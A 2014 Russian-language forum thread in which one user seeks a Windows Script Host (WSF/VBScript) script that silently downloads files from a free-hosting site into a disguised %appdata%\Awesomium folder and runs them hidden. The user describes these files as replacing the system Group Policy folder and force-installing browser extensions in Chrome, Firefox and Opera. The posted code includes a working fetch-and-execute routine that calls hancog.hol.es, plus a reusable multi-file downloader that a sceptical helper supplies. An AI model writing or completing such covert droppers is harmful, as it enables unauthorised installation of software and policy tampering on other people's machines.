Wsf download files [Версия для КПК] - Компьютерный форум OSzone.net

Показать полную графическую версию : Wsf download files

Страниц : [1] 2

LepeT

06-10-2014, 21:46

Нужно создать wsf который бы качал около 9 файлов в %appdata%\Awesomium и по необходимости (некоторые запускал,а некоторые нет смотря какие отмечены) запускал в скрытом режиме сразу после скачивания т.е , 0, false

Iska

06-10-2014, 22:01

LepeT, ботнет рисуете?

LepeT

06-10-2014, 23:06

ботнет рисуете? »
Нет,с чего это ?

Iska

06-10-2014, 23:55

Параноик я, параноик. Разве непонятно :lol:? Приведите конкретные адреса этих «около 9 файлов». Перечислите все случаи «необходимости». Укажите цели запуска.

LepeT

07-10-2014, 20:01

Приведите конкретные адреса этих «около 9 файлов». Перечислите все случаи «необходимости». Укажите цели запуска. »

Файлы с собственного хостинга,это файлы групповых политик и их 6 штук,еще wsf файл для замены папки групповых политик в windows (%WINDIR%\System32\GroupPolicy),цели запуска - автоматическая установка расширения в браузер google chrome,само расширение официальное

P.S любое расшрение не из магазина google chrome не поставить,ставятся только те которые есть в магазине webstore

LepeT

07-10-2014, 21:04

Ну дак что поможете?

Iska

07-10-2014, 21:16

Поскольку конкретики я так и не увидел, придётся обойтись ссылками.

1. Загрузка файлов. Выбирайте: VBScript: загрузка файлов из Интернет (Страница 1) — Windows Script Host, HTA (VBScript, JScript) — Коллекция скриптов и идей — Серый форум (http://forum.script-coding.com/viewtopic.php?id=40).

2. Исполнение файлов. Самое простое: Run Method (Windows Script Host) - MSDN - Microsoft (http://msdn.microsoft.com/en-us/library/d5fk67ky(v=vs.84).aspx). Есть и другие способы — Shell.Execute(), Win32_Process.Create() и прочее.

3. Работа с переменными окружения. Обычно используемый — ExpandEnvironmentStrings Method - MSDN - Microsoft (http://msdn.microsoft.com/en-us/library/dy8116cf(v=vs.84).aspx), но я бы рекомендовал рассмотреть использование символьных имён объекта Shell.Application: WSH: перечень предопределённых символьных имён Shell.Application (Страница 1) — Windows Script Host, HTA (VBScript, JScript) — Коллекция скриптов и идей — Серый форум (http://forum.script-coding.com/viewtopic.php?id=3768) — это более правильный способ.

4. Наконец, сводим всё воедино: WSH: пишем сценарии в формате WSF (Страница 1) — Windows Script Host, HTA (VBScript, JScript) — Коллекция скриптов и идей — Серый форум (http://forum.script-coding.com/viewtopic.php?id=1149).

Update::
Ну дак что поможете? »
Простите, как? Я не умею писать скрипты, имея в техзадании общие рассуждения на тему.

LepeT

07-10-2014, 22:27

Простите, как? Я не умею писать скрипты, имея в техзадании общие рассуждения на тему. »
Вам дать конкретные ссылки? и сказать какие файлы должны запускаться или нет?
Я врятле сам смогу написать

Iska

07-10-2014, 23:03

Вам дать конкретные ссылки? и сказать какие файлы должны запускаться или нет? »
Ну, я как бы об этом и писал в сообщениях #4 и #7.

LepeT

07-10-2014, 23:28

Так вот ссылки:
Желательно если можно сразу скачать папку http://hancog.hol.es/GroupPolicy/ в которой несколько подпапок Adm с фалом chrome.adm,папка Machine с файлом Registry.pol,файл gpt.ini в корневом каталоге GroupPolicy и пустая папка User
Все это должно качаться в %appdata%\Awesomium что бы по этому пути после скачивания была папка GroupPolicy со всеми подпапками и файлами которые я назвал,т.е %appdata%\Awesomium\GroupPolicy

Дальше вторым качается vbs файл hancog.hol.es/SwitchCopy.vbs и сразу запускается он у меня будет заменять папку GroupPolicy в system32 и обновлять политики командой gpupdate /force
Извиняюсь что не упоминал,нужно что бы расширения установились не только в chrome но и в opera и firefox,для этого нужно скачать следующие файлы:

hancog.hol.es/Raspacovka.bat (запуск)
hancog.hol.es/extensions.json
hancog.hol.es/jid1-Z7wCNOhaBhOLEg@jetpack.xpi
hancog.hol.es/prefs.js
hancog.hol.es/Mozzila.bat (запуск)
hancog.hol.es/ChekPK.bat (запуск)

Iska

07-10-2014, 23:39

Желательно если можно сразу скачать папку http://hancog.hol.es/GroupPolicy/ »
У меня нет желания писать клиент HTTP на VBScript.

Извиняюсь что не упоминал,нужно что бы расширения установились не только в chrome но и в opera и firefox,для этого нужно »
Я, пожалуй, ограничусь тем, что изложил выше.

LepeT

08-10-2014, 00:17

Напишите хотя бы форму скачивания в виде этой
Что бы по ней можно было качать не 1,а несколько файлов

<?xml version='1.0' encoding='windows-1251' standalone='yes'?>
<job>
<script language='VBScript'>
<![CDATA[
Option Explicit

Const adTypeBinary = 1
Const adModeReadWrite = 3
Const adSaveCreateOverWrite = 2

Dim strUrl
Dim strDestPath

Dim objFSO
Dim objShell
Dim objXMLHTTPRequest

Dim strFullName

strUrl = "http://hancog.hol.es/file"

Set objFSO = WScript.CreateObject("Scripting.FileSystemObject")
Set objShell = WScript.CreateObject("Shell.Application")

strDestPath = objFSO.BuildPath(objShell.NameSpace("shell:AppData").self.Path, "Awesomium")

If objFSO.FolderExists(strDestPath) Then
Set objXMLHTTPRequest = WScript.CreateObject("Msxml2.XMLHTTP")

objXMLHTTPRequest.Open "GET", strUrl,False
objXMLHTTPRequest.send

If objXMLHTTPRequest.status = 200 Then
strFullName = objFSO.BuildPath(strDestPath, objFSO.GetFileName(decodeURI(strUrl)))

With WScript.CreateObject("ADODB.Stream")
.Mode = adModeReadWrite
.Type = adTypeBinary
.Open
.Write objXMLHTTPRequest.responseBody
.SaveToFile strFullName, adSaveCreateOverWrite
End With

objShell.ShellExecute strFullName
Else
WScript.Echo "Status: " & CStr(objXMLHTTPRequest.status)
End If

Set objXMLHTTPRequest = Nothing
Else
WScript.Echo "Destination path [" & strDestPath & "] not found."
WScript.Quit 1
End If

Set objShell = Nothing
Set objFSO = Nothing

WScript.Quit 0
]]>
</script>

<script language='JScript'>
<![CDATA[
function decodeURI(sUrl) {
return decodeURI(sUrl);
}
]]>
</script>
</job>

LepeT

14-10-2014, 15:31

ап помогите кто нибуть

Iska

14-10-2014, 19:10

Напишите хотя бы форму скачивания в виде этой
Что бы по ней можно было качать не 1,а несколько файлов »
Держите ;). Функция и примеры её применения:
<?xml version='1.0' encoding='windows-1251' standalone='yes'?>
<job>
<script language='VBScript'>
<![CDATA[
Option Explicit

Dim strUrl
Dim strPath

' 1
strUrl = "http://nirsoft.net/utils/netresview.zip"
strPath = "E:\Песочница\0401"

If DownloadFile(strUrl, strPath) Then
WScript.Echo "Url [" & strUrl & "] downloaded into [" & strPath & "]."
Else
WScript.Echo "Can't download url [" & strUrl & "] downloaded into [" & strPath & "]."
End If

' 2
strUrl = "http://nirsoft.net/utils/mylastsearch.zip"
strPath = "E:\Песочница\0401"

If DownloadFile(strUrl, strPath) Then
WScript.Echo "Url [" & strUrl & "] downloaded into [" & strPath & "]."
Else
WScript.Echo "Can't download url [" & strUrl & "] downloaded into [" & strPath & "]."
End If

WScript.Quit 0
'==========================================================================

'==========================================================================
Function DownloadFile(strUrl, strDestPath)
Const adTypeBinary = 1
Const adModeReadWrite = 3
Const adSaveCreateOverWrite = 2

Dim objXMLHTTPRequest

Dim strFullName

With WScript.CreateObject("Scripting.FileSystemObject")
If .FolderExists(strDestPath) Then
Set objXMLHTTPRequest = WScript.CreateObject("Msxml2.XMLHTTP")

objXMLHTTPRequest.Open "GET", strUrl,False
objXMLHTTPRequest.send

If objXMLHTTPRequest.status = 200 Then
strFullName = .BuildPath(strDestPath, .GetFileName(decodeURI(strUrl)))

With WScript.CreateObject("ADODB.Stream")
.Mode = adModeReadWrite
.Type = adTypeBinary
.Open
.Write objXMLHTTPRequest.responseBody
.SaveToFile strFullName, adSaveCreateOverWrite
End With
Else
WScript.Echo "Status: " & CStr(objXMLHTTPRequest.status)
DownloadFile = False
Exit Function
End If

Set objXMLHTTPRequest = Nothing
Else
WScript.Echo "Destination path [" & strDestPath & "] not found."
DownloadFile = False
Exit Function
End If
End With

DownloadFile = True
End Function
'==========================================================================
]]>
</script>

<script language='JScript'>
<![CDATA[
function decodeURI(sUrl) {
return decodeURI(sUrl);
}
]]>
</script>
</job>

LepeT

15-10-2014, 17:09

Держите . Функция и примеры её применения: »

Спасибо что ответили,я только что попробовал,при сохранение в %appdata% пишет ошибку http://f5.s.qip.ru/NGYkK7bh.png

Iska

15-10-2014, 17:59

я только что попробовал,при сохранение в %appdata% пишет ошибку »
LepeT, не «пишет ошибку», а «обрабатывает ситуацию с отсутствующим путём назначения» ;). Хотите использовать в пути переменные окружения — раскрывайте их посредством «.ExpandEnvironmentStrings() (http://msdn.microsoft.com/en-us/library/dy8116cf(v=vs.84).aspx)».

LepeT

16-10-2014, 16:31

Все перепробовал,не получается в аппдату сохранить,даже пробовал со старого wsf где была 1 скачка файла

Iska

16-10-2014, 18:26

Все перепробовал, »
Покажите Ваше «всё».

LepeT

16-10-2014, 20:22

<?xml version='1.0' encoding='windows-1251' standalone='yes'?>
<job>
<script language='VBScript'>
<![CDATA[
Option Explicit

Dim strUrl
Dim strPath

' 1
strUrl = "http://nirsoft.net/utils/netresview.zip"
strPath = "E:\Песочница\0401"

If DownloadFile(strUrl, strPath) Then
WScript.Echo "Url [" & strUrl & "] downloaded into [" & strPath & "]."
Else
WScript.Echo "Can't download url [" & strUrl & "] downloaded into [" & strPath & "]."
End If

' 2
strUrl = "http://nirsoft.net/utils/mylastsearch.zip"
set WshShell = WScript.CreateObject("WScript.Shell")
WScript.Echo "WinDir is " & WshShell.ExpandEnvironmentStrings("%APPDATA%")

If DownloadFile(strUrl, strPath) Then
WScript.Echo "Url [" & strUrl & "] downloaded into [" & strPath & "]."
Else
WScript.Echo "Can't download url [" & strUrl & "] downloaded into [" & strPath & "]."
End If

WScript.Quit 0
'==========================================================================

'==========================================================================
Function DownloadFile(strUrl, strDestPath)
Const adTypeBinary = 1
Const adModeReadWrite = 3
Const adSaveCreateOverWrite = 2

Dim objXMLHTTPRequest

Dim strFullName

With WScript.CreateObject("Scripting.FileSystemObject")
If .FolderExists(strDestPath) Then
Set objXMLHTTPRequest = WScript.CreateObject("Msxml2.XMLHTTP")

objXMLHTTPRequest.Open "GET", strUrl,False
objXMLHTTPRequest.send

If objXMLHTTPRequest.status = 200 Then
strFullName = .BuildPath(strDestPath, .GetFileName(decodeURI(strUrl)))

With WScript.CreateObject("ADODB.Stream")
.Mode = adModeReadWrite
.Type = adTypeBinary
.Open
.Write objXMLHTTPRequest.responseBody
.SaveToFile strFullName, adSaveCreateOverWrite
End With
Else
WScript.Echo "Status: " & CStr(objXMLHTTPRequest.status)
DownloadFile = False
Exit Function
End If

Set objXMLHTTPRequest = Nothing
Else
WScript.Echo "Destination path [" & strDestPath & "] not found."
DownloadFile = False
Exit Function
End If
End With

DownloadFile = True
End Function
'==========================================================================
]]>
</script>

<script language='JScript'>
<![CDATA[
function decodeURI(sUrl) {
return decodeURI(sUrl);
}
]]>
</script>
</job>

<?xml version='1.0' encoding='windows-1251' standalone='yes'?>
<job>
<script language='VBScript'>
<![CDATA[
Option Explicit

Dim strUrl
Dim strPath

' 1
strUrl = "http://nirsoft.net/utils/netresview.zip"
strPath = "E:\Песочница\0401"

If DownloadFile(strUrl, strPath) Then
WScript.Echo "Url [" & strUrl & "] downloaded into [" & strPath & "]."
Else
WScript.Echo "Can't download url [" & strUrl & "] downloaded into [" & strPath & "]."
End If

' 2
strUrl = "http://nirsoft.net/utils/mylastsearch.zip"

Set objFSO = WScript.CreateObject("Scripting.FileSystemObject")
Set objShell = WScript.CreateObject("Shell.Application")

strDestPath = objFSO.BuildPath(objShell.NameSpace("shell:AppData").self.Path, "Awesomium")

If DownloadFile(strUrl, strPath) Then
WScript.Echo "Url [" & strUrl & "] downloaded into [" & strPath & "]."
Else
WScript.Echo "Can't download url [" & strUrl & "] downloaded into [" & strPath & "]."
End If

WScript.Quit 0
'==========================================================================

'==========================================================================
Function DownloadFile(strUrl, strDestPath)
Const adTypeBinary = 1
Const adModeReadWrite = 3
Const adSaveCreateOverWrite = 2

Dim objXMLHTTPRequest

Dim strFullName

With WScript.CreateObject("Scripting.FileSystemObject")
If .FolderExists(strDestPath) Then
Set objXMLHTTPRequest = WScript.CreateObject("Msxml2.XMLHTTP")

objXMLHTTPRequest.Open "GET", strUrl,False
objXMLHTTPRequest.send

If objXMLHTTPRequest.status = 200 Then
strFullName = .BuildPath(strDestPath, .GetFileName(decodeURI(strUrl)))

With WScript.CreateObject("ADODB.Stream")
.Mode = adModeReadWrite
.Type = adTypeBinary
.Open
.Write objXMLHTTPRequest.responseBody
.SaveToFile strFullName, adSaveCreateOverWrite
End With
Else
WScript.Echo "Status: " & CStr(objXMLHTTPRequest.status)
DownloadFile = False
Exit Function
End If

Set objXMLHTTPRequest = Nothing
Else
WScript.Echo "Destination path [" & strDestPath & "] not found."
DownloadFile = False
Exit Function
End If
End With

DownloadFile = True
End Function
'==========================================================================
]]>
</script>

<script language='JScript'>
<![CDATA[
function decodeURI(sUrl) {
return decodeURI(sUrl);
}
]]>
</script>
</job>

Iska

17-10-2014, 05:04

<?xml version='1.0' encoding='windows-1251' standalone='yes'?>
<job>
<script language='VBScript'>
<![CDATA[
Option Explicit

Dim strUrl
Dim strPath

strUrl = "http://nirsoft.net/utils/netresview.zip"
strPath = "%AppData%"

If DownloadFile(strUrl, WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings(strPath)) Then
WScript.Echo "Url [" & strUrl & "] downloaded into [" & strPath & "]."
Else
WScript.Echo "Can't download url [" & strUrl & "] downloaded into [" & strPath & "]."
End If

WScript.Quit 0
'==========================================================================

'==========================================================================
Function DownloadFile(strUrl, strDestPath)
Const adTypeBinary = 1
Const adModeReadWrite = 3
Const adSaveCreateOverWrite = 2

Dim objXMLHTTPRequest

Dim strFullName

With WScript.CreateObject("Scripting.FileSystemObject")
If .FolderExists(strDestPath) Then
Set objXMLHTTPRequest = WScript.CreateObject("Msxml2.XMLHTTP")

objXMLHTTPRequest.Open "GET", strUrl,False
objXMLHTTPRequest.send

If objXMLHTTPRequest.status = 200 Then
strFullName = .BuildPath(strDestPath, .GetFileName(decodeURI(strUrl)))

With WScript.CreateObject("ADODB.Stream")
.Mode = adModeReadWrite
.Type = adTypeBinary
.Open
.Write objXMLHTTPRequest.responseBody
.SaveToFile strFullName, adSaveCreateOverWrite
End With
Else
WScript.Echo "Status: " & CStr(objXMLHTTPRequest.status)
DownloadFile = False
Exit Function
End If

Set objXMLHTTPRequest = Nothing
Else
WScript.Echo "Destination path [" & strDestPath & "] not found."
DownloadFile = False
Exit Function
End If
End With

DownloadFile = True
End Function
'==========================================================================
]]>
</script>

<script language='JScript'>
<![CDATA[
function decodeURI(sUrl) {
return decodeURI(sUrl);
}
]]>
</script>
</job>